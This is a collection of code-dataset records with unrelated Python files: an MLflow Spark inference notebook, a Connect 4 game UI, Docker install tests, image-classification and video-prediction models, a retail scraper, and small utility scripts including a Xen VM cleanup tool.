%md Use the Spark function `withColumn()` to apply the PySpark UDF to the DataFrame and return a new DataFrame with a `prediction` column. \n\n# COMMAND ----------\n\nfrom pyspark.sql.functions import struct\n\n# OK with AML tracking server\npredicted_df = dataframe.withColumn(\"prediction\", pyfunc_udf(struct('age', 'sex', 'bmi', 'bp', 's1', 's2', 's3', 's4', 's5', 's6')))\ndisplay(predicted_df)\n\n# COMMAND ----------\n\n# MAGIC %md #### Using \"classic\" UDF\n\n# COMMAND ----------\n\nimport mlflow.sklearn\n\n# Load model before UDF to make sure it is cached\nuri_runid_aml = run_id1 # replace with your run_id\n\nmodel_uri = \"runs:/\" + uri_runid_aml + \"/model\"\nmodel = mlflow.sklearn.load_model(model_uri)\nmodel_bc = spark.sparkContext.broadcast(model)\n\n# Or you can create your own prediction and customize fully with custom UDF\ndef my_cust_udf(age, sex, bmi, bp, s1, s2, s3, s4, s5, s6): \n inputvals = [[age, sex, bmi, bp, s1, s2, s3, s4, s5, s6]]\n model = model_bc.value\n prediction = model.predict(inputvals)\n return prediction.tolist()[0]\n \n# Local call test of function\npred = my_cust_udf(-0.103593093156339, 0.0506801187398187, 0.0616962065186885, 0.0218723549949558,-0.0442234984244464, -0.0348207628376986, -0.0434008456520269, -0.00259226199818282, 0.0199084208763183, -0.0176461251598052)\nprint(pred)\n\n# COMMAND ----------\n\n# wrap in UDF\nfrom pyspark.sql.functions import udf\nudf_cust_pred = udf(my_cust_udf)\n\n# COMMAND ----------\n\n# Use classic UDF\npredicted_cust_df = dataframe.withColumn(\"prediction_cust\", udf_cust_pred('age', 'sex', 'bmi', 'bp', 's1', 's2', 's3', 's4', 's5', 's6'))\ndisplay(predicted_cust_df)\n\n# COMMAND ----------\n\n# MAGIC %md #### Using Pandas UDF with Iterator[pd.Series]\n# MAGIC Will only have to load model once for all series\n\n# COMMAND ----------\n\nfrom typing import Iterator, Tuple\nfrom pyspark.sql.functions import pandas_udf\nimport pandas as pd\nimport mlflow\n\n# Load model before UDF to make sure it is chached\nuri_runid_aml = \"0babbc78-6ba6-4ff1-833e-2cc9ad5c6b65\"\n# uri_runid_dbx = \"634e2a5bdc0a4ed584c9a0ff0efc994b\"\nmodel_uri = \"runs:/\" + uri_runid_aml + \"/model\"\nmodel = mlflow.sklearn.load_model(model_uri)\n# broadcast model\nmodel_bc = spark.sparkContext.broadcast(model)\n \n@pandas_udf(\"double\")\ndef predict_custom_cache(iterator: Iterator[pd.Series]) -> Iterator[pd.Series]:\n model_in_udf = model_bc.value\n for features in iterator:\n pdf = pd.concat(features, axis=1)\n yield pd.Series(model_in_udf.predict(pdf))\n\nprediction_df = dataframe.withColumn(\"prediction\", predict_custom_cache(*dataframe.columns))\ndisplay(prediction_df)\n\n# COMMAND ----------\n\n# MAGIC %md #### Test with more data\n\n# COMMAND ----------\n\ndf_iris_large_interference = spark.read.format(\"delta\").load(\"abfss://datasets@datasetsneugen2.dfs.core.windows.net/parquet/iris_interference_100x\")\n\n# COMMAND ----------\n\n# MAGIC %md #### Pandas UDF 353k rows\n\n# COMMAND ----------\n\nprediction_df = df_iris_large_interference.withColumn(\"prediction\", predict_custom_cache(*dataframe.columns))\ndisplay(prediction_df)\n\n# COMMAND ----------\n\n# MAGIC %md #### Classic UDF 353k rows\n\n# COMMAND ----------\n\npredicted_cust_df = df_iris_large_interference.withColumn(\"prediction_cust\", udf_cust_pred('age', 'sex', 'bmi', 'bp', 's1', 's2', 's3', 's4', 's5', 's6'))\ndisplay(predicted_cust_df)\n","repo_name":"blendax/Databricksnotebooks","sub_path":"notebooks/Batch inference (AML Tracking)/2. MLflow inference manual (AML Tracking server).py","file_name":"2. MLflow inference manual (AML Tracking server).py","file_ext":"py","file_size_in_byte":9021,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"594066849","text":"from Errors.Errors import ValidationError, RepoError, Endgame\nfrom Validators.Validators import Validators\n\n\nclass UI:\n\n def __init__(self, board_service):\n self.__board_service = board_service\n self.__names = {}\n self.__pieces = {0: 'X', 1:'O'}\n\n def run_game(self):\n print('\\nWelcome to CONNECT 4!\\n')\n while True:\n print('Start a game:\\n\\n'\n '1: Another player\\n'\n '2: Computer\\n'\n '3: Exit\\n')\n option = input(\"Add your choice: \")\n if not option.isnumeric():\n raise Exception('Invalid option!')\n option = int(option)\n if option == 3:\n print('\\nSee you next time! :)')\n break\n elif option == 1:\n self.run_game_player()\n elif option == 2:\n self.run_game_computer()\n else:\n raise Exception('Option not in the list!')\n self.__board_service.clear_board()\n\n def run_game_player(self):\n self.__names[0], self.__names[1] = self.add_names()\n move_number = 0\n while True:\n print('\\n' + str(self.__board_service) + '\\n')\n option = input(\"{}'s turn: \".format(self.__names[move_number % 2]))\n try:\n Validators.validate_option(option)\n option = int(option)\n self.__board_service.move_and_endgame_check(option, self.__pieces[move_number % 2], self.__names[move_number % 2])\n move_number += 1\n except ValidationError as ex:\n print(str(ex))\n except RepoError as ex:\n print(str(ex))\n except Endgame as ex:\n print('\\n' + str(self.__board_service) + '\\n')\n print(str(ex))\n break\n\n @staticmethod\n def choose_difficulty():\n print('\\nChoose difficulty:\\n1: easy\\n2: medium\\n3: hard\\n')\n difficulty = input('Your choice: ')\n if not difficulty.isnumeric():\n raise Exception('Invalid option!')\n difficulty = int(difficulty)\n if difficulty not in [1, 2, 3]:\n raise Exception('Option not in the list!')\n return difficulty + 1\n\n def add_names(self):\n first_name = input(\"First player's name: \")\n second_name = input(\"Second player's name: \")\n return first_name, second_name\n\n def first_move(self):\n difficulty = self.choose_difficulty()\n print('\\nWho plays first?\\n1. You\\n2. Computer\\n')\n option = input('Add your option: ')\n if not option.isnumeric():\n raise Exception('Invalid option!')\n option = int(option)\n if option == 1:\n player, computer = self.__pieces[0], self.__pieces[1]\n elif option == 2:\n computer, player = self.__pieces[0], self.__pieces[1]\n self.__board_service.computer_move(computer, player, difficulty)\n else:\n raise Exception('Option not in the list!')\n return computer, player, difficulty\n\n def run_game_computer(self):\n computer, player, difficulty = self.first_move()\n move_number = 0\n while True:\n print('\\n' + str(self.__board_service) + '\\n')\n option = input(\"Your turn: \")\n try:\n Validators.validate_option(option)\n option = int(option)\n self.__board_service.your_move(option, player)\n self.__board_service.computer_move(computer, player, difficulty)\n move_number += 1\n except ValidationError as ex:\n print(str(ex))\n except RepoError as ex:\n print(str(ex))\n except Endgame as ex:\n print('\\n' + str(self.__board_service) + '\\n')\n print(str(ex))\n break\n except Exception as ex:\n print(str(ex))\n\n\n\n\n\n\n\n","repo_name":"iuliailies/Connect-4","sub_path":"Console/UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29974693467","text":"# Test Docker Engine\ndef test_docker_repository_exists(File, SystemInfo):\n\n f = None\n dist = SystemInfo.distribution\n if dist == 'debian' or dist == 'ubuntu':\n f = File('/etc/apt/sources.list.d/docker.list')\n if dist == 'redhat' or dist == 'centos' or dist == 'fedora':\n f = File('/etc/yum.repos.d/docker.repo')\n\n assert f.exists\n assert f.user == 'root'\n assert f.group == 'root'\n assert oct(f.mode) == '0644'\n\n\ndef test_docker_engine_installed(Package):\n\n assert Package('docker-ce').is_installed\n\n\ndef test_docker_service(Service, Command, SystemInfo):\n\n dist = SystemInfo.distribution\n if dist == 'debian' or dist == 'ubuntu':\n Command(\"/etc/init.d/docker status\").rc == 0\n else:\n s = Service('docker')\n assert s.is_running\n assert s.is_enabled","repo_name":"Sweady/Sweady","sub_path":"engine/tests/test_docker_engine.py","file_name":"test_docker_engine.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"25800203513","text":"import torch\nfrom torch import nn\nimport timm\nimport torch.nn.functional as F\nfrom torch.nn.parameter import Parameter\nfrom timm.models.layers.adaptive_avgmax_pool import SelectAdaptivePool2d\nfrom timm.models.resnet import Bottleneck\nfrom utils.config import mixed_precision\n\ndef conditional_decorator(dec, condition):\n def decorator(func):\n if not condition:\n # Return the function unchanged, not decorated.\n return func\n return dec(func)\n\n return decorator\n\ndef gem(x, p=3, eps=1e-6):\n return F.avg_pool2d(x.clamp(min=eps).pow(p), (x.size(-2), x.size(-1))).pow(1. / p)\n\n\nclass GeM(nn.Module):\n def __init__(self, p=3, eps=1e-6):\n super(GeM, self).__init__()\n self.p = Parameter(torch.ones(1) * p)\n self.eps = eps\n\n def forward(self, x):\n return gem(x, p=self.p, eps=self.eps)\n\n def __repr__(self):\n return self.__class__.__name__ + '(' + 'p=' + '{:.4f}'.format(self.p.data.tolist()[0]) + ', ' + 'eps=' + str(\n self.eps) + ')'\n\n\nclass SIIMModel(nn.Module):\n def __init__(self, model_name='resnet200d', out_dim=4, pretrained=False, dropout=0.5,\n pool='AdaptiveAvgPool2d'):\n super().__init__()\n self.model = timm.create_model(model_name, pretrained=pretrained)\n self.model_name = model_name\n\n if pool == 'AdaptiveAvgPool2d':\n self.pooling = nn.AdaptiveAvgPool2d(1)\n elif pool == 'gem':\n self.pooling = GeM()\n else:\n raise NotImplementedError(f\"pooling type {pool} has not implemented!\")\n\n self.global_pool = SelectAdaptivePool2d(pool_type=\"avg\")\n\n if 'resne' in model_name: #resnet\n n_features = self.model.fc.in_features\n self.model.global_pool = nn.Identity()\n self.model.fc = nn.Identity()\n\n # print(self.model.conv1[-1].out_channels)\n # print(self.model.layer1[-1].bn3.num_features)\n # print(self.model.layer2[-1].bn3.num_features)\n # print(self.model.layer3[-1].bn3.num_features)\n # print(self.model.layer4[-1].bn3.num_features)\n\n feats_list = [n_features, self.model.layer3[-1].bn3.num_features, self.model.layer2[-1].bn3.num_features, self.model.layer1[-1].bn3.num_features, self.model.conv1[-1].out_channels]\n\n self.bottleneck_b5 = nn.Identity() #Bottleneck(inplanes=1024, planes=int(1024 / 4))\n self.fc_b5 = nn.Linear(1024, out_dim)\n\n elif \"efficientnet\" in model_name: \n self.conv_stem = self.model.conv_stem\n self.bn1 = self.model.bn1\n self.act1 = self.model.act1\n ### Original blocks ###\n for i in range(len((self.model.blocks))):\n setattr(self, \"block{}\".format(str(i)), self.model.blocks[i])\n self.conv_head = self.model.conv_head\n self.bn2 = self.model.bn2\n self.act2 = self.model.act2\n n_features = self.model.num_features\n self.bottleneck_b4 = Bottleneck(inplanes=self.block4[-1].bn3.num_features,\n planes=int(self.block4[-1].bn3.num_features / 4))\n self.bottleneck_b5 = Bottleneck(inplanes=self.block5[-1].bn3.num_features,\n planes=int(self.block5[-1].bn3.num_features / 4))\n self.fc_b4 = nn.Linear(self.block4[-1].bn3.num_features, out_dim)\n self.fc_b5 = nn.Linear(self.block5[-1].bn3.num_features, out_dim)\n\n feats_list = [n_features, self.block4[-1].bn3.num_features, self.block2[-1].bn3.num_features, self.block1[-1].bn3.num_features, self.block0[-1].bn2.num_features]\n\n del self.model\n\n elif \"nfnet\" in model_name: \n self.model.head = nn.Identity()\n n_features = self.model.final_conv.out_channels\n self.bottleneck_b5 = nn.Identity()\n self.fc_b5 = nn.Linear(self.model.stages[-2][-1].conv3.out_channels, out_dim)\n feats_list = [n_features, self.model.stages[-2][-1].conv3.out_channels, self.model.stages[-3][-1].conv3.out_channels, self.model.stages[-4][-1].conv3.out_channels, self.model.stem[-1].out_channels]\n else:\n raise NotImplementedError(f\"model type {model_name} has not implemented!\")\n \n\n self.fc = nn.Linear(n_features, out_dim)\n self.dropout = nn.Dropout(dropout)\n\n\n def layer0(self, x):\n x = self.model.conv1(x)\n x = self.model.bn1(x)\n x = self.model.act1(x)\n x = self.model.maxpool(x)\n return x\n\n def layer1(self, x):\n return self.model.layer1(x)\n\n def layer2(self, x):\n return self.model.layer2(x)\n\n def layer3(self, x):\n return self.model.layer3(x)\n\n def layer4(self, x):\n return self.model.layer4(x)\n\n def _features(self, x):\n if \"efficientnet\" in self.model_name: \n x = self.conv_stem(x)\n x = self.bn1(x)\n x = self.act1(x)\n # print('0', x.shape)\n x = self.block0(x); b0 = x\n # print('1', x.shape)\n x = self.block1(x); b1 = x\n # print('2', x.shape)\n x = self.block2(x); b2 = x\n # print('3', x.shape)\n x = self.block3(x); b3 = x\n # print('4', x.shape)\n x = self.block4(x); b4 = x\n # print('5', x.shape)\n x = self.block5(x); b5 = x\n # print('6', x.shape)\n x = self.block6(x)\n x = self.conv_head(x)\n x = self.bn2(x)\n x = self.act2(x)\n # print('7', x.shape)\n return b4, b5, x\n elif \"resne\" in self.model_name: \n x0 = self.layer0(x)\n x1 = self.layer1(x0)\n x2 = self.layer2(x1)\n x3 = self.layer3(x2)\n x4 = self.layer4(x3)\n return x2, x3, x4\n elif \"nfnet\" in self.model_name: \n x = self.model.stem(x)\n # print(x.shape)\n # x = self.model.stages(x)\n feats = [x]\n for m in self.model.stages:\n x = m(x)\n feats.append(x)\n\n x = self.model.final_conv(x)\n features = self.model.final_act(x)\n\n return feats[2], feats[3], features\n\n # @conditional_decorator(autocast(), mixed_precision)\n def forward(self, ipt):\n bs = ipt.size()[0]\n\n x2, x3, x4 = self._features(ipt)\n # print(x0.shape, x1.shape, x2.shape, x3.shape, x4.shape)\n b5_logits = self.fc_b5(torch.flatten(self.global_pool(self.bottleneck_b5(x3)), 1))\n\n pooled_features = self.pooling(x4).view(bs, -1)\n cls_logit = self.fc(self.dropout(pooled_features))\n\n # cls_logit = (torch.sigmoid(cls_logit) + torch.sigmoid(b5_logits)) / 2.\n\n return cls_logit, b5_logits\n\n @property\n def net(self):\n return self.model\n\n\n","repo_name":"nvnnghia/siim2021","sub_path":"pipeline1/models/model_2_1.py","file_name":"model_2_1.py","file_ext":"py","file_size_in_byte":6894,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"75"} +{"seq_id":"38985042147","text":"import sys\nsys.path.append('../')\nimport of_spider\nimport of_utils\n\nclass Montblanc(of_spider.Spider):\n def parse_entry(self, driver):\n while True:\n btn = of_utils.find_element_by_css_selector(driver, '.mb-load-more')\n if btn:\n if not btn.get_attribute('style'):\n driver.execute_script('arguments[0].click();', btn)\n of_utils.sleep(4)\n else:\n break \n else:\n break \n elements = of_utils.find_elements_by_css_selector(driver, '.mb-prod-tile-section > a')\n return [element.get_attribute('href').strip() for element in elements]\n\n def parse_product(self, driver):\n product = of_spider.empty_product.copy()\n # title\n element = of_utils.find_element_by_css_selector(driver, '.mb-pdp-heading')\n if element:\n product['title'] = element.text.strip()\n else:\n raise Exception('Title not found')\n # code \n element = of_utils.find_element_by_css_selector(driver, '.mb-pdp-prod-ident')\n if element:\n product['code'] = element.text.strip()\n # price_cny\n element = of_utils.find_element_by_css_selector(driver, '.mb-pdp-price')\n if element:\n product['price_cny'] = of_utils.convert_price(element.text.strip())\n # images\n elements = of_utils.find_elements_by_css_selector(driver, '.slick-slide:not(.slick-cloned) img')\n images = [element.get_attribute('src').strip() for element in elements]\n product['images'] = ';'.join(images)\n # detail N/A\n return product","repo_name":"yingl/ofashion_spider","sub_path":"spiders/montblanc.py","file_name":"montblanc.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"29904180496","text":"import asyncio\nfrom collections.abc import Callable, Iterable, Mapping\nfrom threading import Thread\nfrom typing import Any\nimport logging\nfrom abc import abstractclassmethod, ABCMeta\nimport inspect\n\n\nclass Worker(Thread):\n def __init__(self) -> None:\n super().__init__(None, self.run, daemon=True)\n self.logger = logging.getLogger(\"uvicorn\")\n\n def run(self):\n self.logger.info(f\"Starting worker {self.__class__.__name__}\")\n if inspect.iscoroutinefunction(self.work):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n loop.run_until_complete(self.work())\n loop.close()\n else:\n self.work()\n\n @classmethod\n def begin(cls):\n instance = cls()\n instance.start()\n return instance\n\n def work(self) -> None:\n pass\n\n","repo_name":"IM9-Sistema/sse","sub_path":"sse/libs/structures/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23043362473","text":"def part1(data):\n horizontal = 0\n vertical = 0\n\n for instruction, distance in data:\n if instruction == 'forward':\n horizontal += distance\n elif instruction == 'down':\n vertical += distance\n elif instruction == 'up':\n vertical -= distance\n\n return horizontal * vertical\n\ndef part2(data):\n aim = 0\n horizontal = 0\n depth = 0\n\n for instruction, distance in data:\n if instruction == 'forward':\n horizontal += distance\n depth += aim * distance\n elif instruction == 'down':\n aim += distance\n elif instruction == 'up':\n aim -= distance\n\n return horizontal * depth\n\nif __name__ == '__main__':\n with open('day2.txt') as f:\n data = []\n for d in f.readlines():\n instruction, distance = d.strip().split()\n data.append((instruction, int(distance)))\n\n print(f'Part 1: {part1(data)}')\n print(f'Part 2: {part2(data)}')\n","repo_name":"bartdegoede/aoc","sub_path":"2021/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39151055490","text":"# Class containing parameters for use throughout the add-on.\nfrom bpy.types import AddonPreferences\nfrom bpy.utils import register_class, unregister_class\nfrom bpy.props import BoolProperty\nfrom . utility import addon\n\nfrom . utility import addon, distributors\n\nclass kitops_synth(AddonPreferences):\n bl_idname = addon.name\n\n check_for_complexity : BoolProperty(\n name=\"Check for complexity\",\n description=\"Check for the potential complexity of a layout before proceeeding\",\n default=True)\n\n def draw(self, context):\n\n layout = self.layout\n \n box = layout.box()\n row = box.row()\n # col.alignment = 'CENTER'\n row.label(text='Check for complexity')\n row.prop(self, 'check_for_complexity', text=\"\")\n\n\nclasses = [kitops_synth]\n\ndef register():\n for cls in classes:\n register_class(cls)\n\n addon.preference()\n\ndef unregister():\n for cls in classes:\n unregister_class(cls)\n","repo_name":"alinsavix/kitops-synth","sub_path":"addon/preference.py","file_name":"preference.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"71194048242","text":"from turtle import title\nfrom fastapi import FastAPI\n\nfrom api import api\n\napp = FastAPI(\n title=\"My Store\",\n description=\"Simple Catalog System\",\n version=\"0.0.1\",\n contact={\n \"name\": \"Javier Quintana\",\n \"email\": \"javier.taipe.1998@gmail.com\",\n },\n)\n\n\n@app.get(\"/status\")\ndef health():\n return {\"message\": \"Successful\"}\n\n\napp.include_router(api.api_router)\n","repo_name":"ElgatodeSchrodinger/my_store","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26936505242","text":"import subprocess\nimport time\n\nlist_op_file = 'temp_xl_list_output'\nlist_cmd = 'xl list'\nmax_vms = 10\n\nlist_op = subprocess.Popen(list_cmd.split(), stdout=subprocess.PIPE).communicate()[0]\nlines = list_op.split('\\n')\n\nto_destroy = []\n \nfor line in lines[2:len(lines)-1]: # Exclude column names, Domain 0 and trailing blank line\n atts = line.split()\n if len(atts) == 6:\n domid = atts[1]\n else:\n domid = atts[0]\n\n to_destroy.append(domid) # = to_destroy + domid + ' '\n\n\n#Not the most elegant solution, I know.\nstart = 0\nwhile (len(to_destroy[start:]) > max_vms):\n destroy_now = to_destroy[start : start + max_vms]\n dest_cmd = 'xl client destroy ' + ' '.join(destroy_now)\n print(dest_cmd)\n subprocess.call(dest_cmd.split())\n time.sleep(5)\n start = start + max_vms\n\ndest_cmd = 'xl client destroy ' + ' '.join(to_destroy[start:])\nprint (dest_cmd)\n\nsubprocess.call(dest_cmd.split())\n","repo_name":"xenboot/xenboot","sub_path":"experiments/xenstore-caching-eval2/destroy_all.py","file_name":"destroy_all.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15293510053","text":"import os\nimport yaml\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nimport numpy as np\nfrom tqdm import trange\nimport argparse\nfrom pathlib import Path\n\nfrom src.utils.dataset import MovingMNIST, NewMovingMNIST\nfrom src.utils.loss import LatentRegularizerLoss\nfrom src.utils.metrics import PSNR, SSIM\n\nfrom src.models.resnet import ResNetEncoder64, ResNetDecoder64\nfrom src.models.convnode import ConvNodeAppearance\nfrom src.models.adversarial import FrameClassifier, SequenceClassifier, Discriminators\n\nfrom src.utils.viz import plot_extrapolation\n# Check how the finromation is contained inside the tqdm iterator\n\n# Create the train function \ndef evaluate(device, model, test_loader, loss_fn, psnr, ssim, tqdm_iterator):\n\n psnr.reset()\n ssim.reset()\n\n running_loss = 0.\n running_num_samples = 0\n model.eval()\n with torch.no_grad():\n for batch_init_images, batch_times, batch_output_images in test_loader:\n batch_init_images = batch_init_images.to(device)\n batch_times = batch_times[0].to(device)\n batch_output_images = batch_output_images.to(device)\n # compute the output of the model\n pred_images, pred_latent = model(batch_init_images, batch_times)\n # compute the loss\n loss = loss_fn(pred_latent, pred_images, batch_output_images)\n # .view(-1,batch_init_positions.shape[-1])\n running_loss += loss.item()\n running_num_samples += 1\n # update the progress bar\n tqdm_iterator.set_description_str(f'Test {running_num_samples}/{len(test_loader)} Loss: {loss.item():.8f}')\n psnr.update(pred_images, batch_output_images)\n ssim.update(pred_images, batch_output_images)\n\n psnr_value = psnr.compute()\n ssim_value = ssim.compute()\n\n return running_loss/running_num_samples, psnr_value, ssim_value\n\ndef train(device, model, optimizer, discriminators, optimizer_discriminators, train_loader, loss_fn, adv_loss, tqdm_iterator):\n running_loss = 0.\n running_num_samples = 0\n\n for i, (batch_init_images, batch_times, batch_output_images) in enumerate(train_loader):\n batch_init_images = batch_init_images.to(device)\n # print(batch_times.shape)\n batch_times = batch_times[0].to(device)\n batch_output_images = batch_output_images.to(device)\n # compute the output of the model\n pred_images, pred_latent = model(batch_init_images, batch_times)\n \n # print(\"pred_images.shape\", pred_images.shape)\n # print(\"pred_latent.shape\", pred_latent.shape)\n # print(\"batch_output_images.shape\", batch_output_images.shape)\n\n # compute the loss\n # print(out.shape, out.view(-1, batch_init_positions.shape[-1]).shape)\n # print(batch_true_positions.shape, batch_true_positions.view(-1, batch_init_positions.shape[-1]).shape)\n # print(out_images.shape, batch_true_images.shape)\n\n\n valid_frames = torch.ones(pred_images.shape[0]*pred_images.shape[1], 1).to(device)\n valid_sequence = torch.ones(pred_images.shape[0], 1).to(device)\n fake_frames = torch.zeros(pred_images.shape[0]*pred_images.shape[1], 1).to(device)\n fake_sequence = torch.zeros(pred_images.shape[0], 1).to(device)\n # -------------------\n # Train the Generator\n # -------------------\n loss = 0.\n loss += loss_fn(pred_latent, pred_images, batch_output_images)\n if i % 100 == 0:\n print(\"Recon loss\", loss)\n print(\"seq loss\")\n print(discriminators.forward_seq(pred_images)[:2], valid_sequence[:2])\n print(0.1 * adv_loss(discriminators.forward_seq(pred_images), valid_sequence))\n print(\"frame loss\")\n print(discriminators.forward_frame(pred_images.view(-1, *pred_images.shape[2:]))[:2], valid_frames[:2])\n print(0.1 * adv_loss(discriminators.forward_frame(pred_images.view(-1, *pred_images.shape[2:])), valid_frames))\n\n loss += 0.1 * adv_loss(discriminators.forward_seq(pred_images).squeeze(), valid_sequence.squeeze())\n \n loss += 0.1 * adv_loss(discriminators.forward_frame(pred_images.view(-1, *pred_images.shape[2:])).squeeze(), valid_frames.squeeze())\n\n # .view(-1,batch_init_positions.shape[-1])\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # -----------------------\n # Train the Discriminator\n # -----------------------\n optimizer_discriminators.zero_grad()\n real_loss = adv_loss(discriminators.forward_seq(batch_output_images).squeeze(), valid_sequence.squeeze())\n real_loss += adv_loss(discriminators.forward_frame(batch_output_images.view(-1, *batch_output_images.shape[2:])).squeeze(), valid_frames.squeeze())\n fake_loss = adv_loss(discriminators.forward_seq(pred_images.detach()).squeeze(), fake_sequence.squeeze())\n fake_loss += adv_loss(discriminators.forward_frame(pred_images.view(-1, *pred_images.shape[2:]).detach()).squeeze(), fake_frames.squeeze())\n\n if i % 100 == 0:\n print(\"real loss\", real_loss)\n print(\"fake loss\", fake_loss)\n\n\n d_loss = 0.05 * (real_loss + fake_loss)\n d_loss.backward()#retain_graph=True)\n optimizer_discriminators.step()\n\n # update the progress bar\n tqdm_iterator.set_description_str(f'Train {running_num_samples}/{len(train_loader)} Loss: {loss.item():.8f}')\n running_loss += loss.item()\n running_num_samples += 1\n\n return running_loss/running_num_samples\n\n\n\ndef main(device, model, optimizer, discriminators, optimizer_discriminators, scheduler, epochs, train_loader, test_loader, \n input_length, loss_fn, adv_loss, root_save_images, out_display=-1, checkpoint_image_interval=1, checkpoint_model_interval=10):\n \n device = model.device\n\n if out_display == -1:\n out_display = model.out_dim\n \n psnr = PSNR()\n ssim = SSIM(data_range=1.0)\n\n iterator = trange(1, epochs+1)\n # just for the plot part\n iterator_dict = {'train_loss': -1, 'test_loss': -1, 'PSNR': -1, 'SSIM': -1}\n iterator.set_postfix(iterator_dict)\n\n for i in iterator:\n # get a random time sample\n model.train()\n \n \n train_loss = train(device, model, optimizer, discriminators, optimizer_discriminators, train_loader, loss_fn, adv_loss, iterator)\n\n # display_results_fn(i, model, out_display, getter, getter.total_length, getter.dt)\n iterator_dict['train_loss'] = f\"{train_loss:.8f}\"\n iterator.set_postfix(iterator_dict)\n # loss_fn.forward_print(pred_latent, pred_images, batch_output_images)\n\n # evaluate the model\n if i % checkpoint_image_interval == 0:\n test_loss, psnr_value, ssim_value = evaluate(device, model, test_loader, loss_fn, psnr, ssim, iterator)\n\n iterator_dict['test_loss'] = f\"{test_loss:.8f}\"\n iterator_dict['PSNR'] = f\"{psnr_value:.8f}\"\n iterator_dict['SSIM'] = f\"{ssim_value:.8f}\"\n iterator.set_postfix(iterator_dict)\n iterator.update()\n \n print('\\n', \"-\"*30)\n print(f\"Epoch {i}/{epochs} Train Loss: {train_loss:.8f} Test Loss: {test_loss:.8f} PSNR: {psnr_value:.8f} SSIM: {ssim_value:.8f}\")\n print(\"-\"*30)\n \n display_one_trajectory(i, model, train_loader, test_loader, root_save_images, input_length)\n\n\n\n # save the model\n \n if i % checkpoint_model_interval == 0:\n print(\"Saving checkpoint...\")\n torch.save(discriminators.state_dict(), f\"{root_model}/discriminators_epoch_{i}.pt\")\n torch.save(model.state_dict(), root_model / f'{checkpoint_name}_epoch_{i}.pt')\n print(f\"Checkpoint '{root_model / f'{checkpoint_name}_epoch_{i}.pt'}' saved\")\n \n\n # Update scheduler\n scheduler.step()\n loss_fn.step()\n\n return None\n\n# Create the vizualization function\n@torch.no_grad()\ndef display_one_trajectory(i, model, train_loader, test_loader, root_save_images, input_length):\n \n model.eval()\n \n # -------------------------------------------------- Train --------------------------------------------------\n # Modify this to use loader.sample() instead of running a for loop\n batch_init_images, batch_times, batch_output_images = next(iter(train_loader))\n \n batch_init_images = batch_init_images.to(model.device)\n batch_times = batch_times[0].to(device)\n batch_output_images = batch_output_images.to(model.device)[:,:, 0].unsqueeze(2)\n # compute the output of the model\n pred_images, _ = model(batch_init_images, batch_times)\n pred_images = pred_images[:,:, 0].unsqueeze(2)\n\n batch_init_images = batch_init_images[:, :input_length].unsqueeze(2)\n # print(pred_images.shape, batch_output_images.shape)\n # print(batch_init_images.shape)\n \n ground_truth_sequence = torch.cat([batch_init_images, batch_output_images], dim=1).cpu().numpy()\n prediction_sequence = torch.cat([batch_init_images, pred_images], dim=1).cpu().numpy()\n # print(\"ground_truth_sequence.shape\", ground_truth_sequence.shape)\n # print(\"prediction_sequence.shape\", prediction_sequence.shape)\n ground_truth_sequence = np.expand_dims(ground_truth_sequence[0], axis=0)\n prediction_sequence = np.expand_dims(prediction_sequence[0], axis=0)\n # print(\"ground_truth_sequence.shape\", ground_truth_sequence.shape)\n # print(\"prediction_sequence.shape\", prediction_sequence.shape)\n\n image_name = f\"train_set_epoch_{i}_\"\n plot_extrapolation(root_save_images, ground_truth_sequence, prediction_sequence, input_size=input_length, image_name=image_name, num_traj_plot=1)\n\n # -------------------------------------------------- Test --------------------------------------------------\n\n batch_init_images, batch_times, batch_output_images = next(iter(test_loader))\n \n batch_init_images = batch_init_images.to(model.device)\n batch_times = batch_times[0].to(device)\n batch_output_images = batch_output_images.to(model.device)[:,:, 0].unsqueeze(2)\n # compute the output of the model\n pred_images, _ = model(batch_init_images, batch_times)\n pred_images = pred_images[:,:, 0].unsqueeze(2)\n\n batch_init_images = batch_init_images[:, :input_length].unsqueeze(2)\n \n ground_truth_sequence = torch.cat([batch_init_images, batch_output_images], dim=1).cpu().numpy()\n prediction_sequence = torch.cat([batch_init_images, pred_images], dim=1).cpu().numpy()\n # print(\"ground_truth_sequence.shape\", ground_truth_sequence.shape)\n # print(\"prediction_sequence.shape\", prediction_sequence.shape)\n ground_truth_sequence = np.expand_dims(ground_truth_sequence[0], axis=0)\n prediction_sequence = np.expand_dims(prediction_sequence[0], axis=0)\n # print(\"ground_truth_sequence.shape\", ground_truth_sequence.shape)\n # print(\"prediction_sequence.shape\", prediction_sequence.shape)\n\n image_name = f\"test_set_epoch_{i}_\"\n plot_extrapolation(root_save_images, ground_truth_sequence, prediction_sequence, input_size=input_length, image_name=image_name, num_traj_plot=1)\n\n\n\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--config\", type=str, default=\"config/convnode_appearance64_adv.yaml\")\n\n\n args = parser.parse_args()\n\n with open(args.config, \"r\") as f:\n config = yaml.safe_load(f)\n\n # Load dataset\n input_length = 